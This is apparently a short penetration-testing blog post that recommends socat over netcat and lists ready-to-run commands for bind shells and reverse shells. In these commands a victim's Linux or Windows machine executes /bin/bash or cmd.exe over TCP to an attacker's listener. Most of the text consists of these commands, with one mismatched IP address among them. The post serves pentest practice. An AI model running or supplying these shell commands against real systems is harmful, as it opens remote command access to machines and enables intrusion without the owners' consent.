Netcat is an amazing tool and is so useful and versatile for penetration tests and even other IT administration tasks. However, it is very limited, especially with Penetration Testing.
A Reverse Shell with Socat will give you a much higher degree of interactivity, even allowing you functionality to edit files in the command line, just like a SSH session.

Commands:
Bind Shell
Victim Linux: socat -d -d TCP4-LISTEN:4443 EXEC:/bin/bash
Victim Windows: socat -d -d TCP4-LISTEN:4443 EXEC:'cmd.exe',pipes
Attacker: socat - TCP4:192.168.1.1:4443

Reverse Shell
Victim Linux: socat TCP4:192.168.168.1:4443 EXEC:/bin/bash
Victim Windows: socat TCP4:192.168.1.1:4443 EXEC:'cmd.exe',pipes
Attacker: socat -d -d TCP4-LISTEN:4443 STDOUT

Encrypted Bind / Reverse Shells
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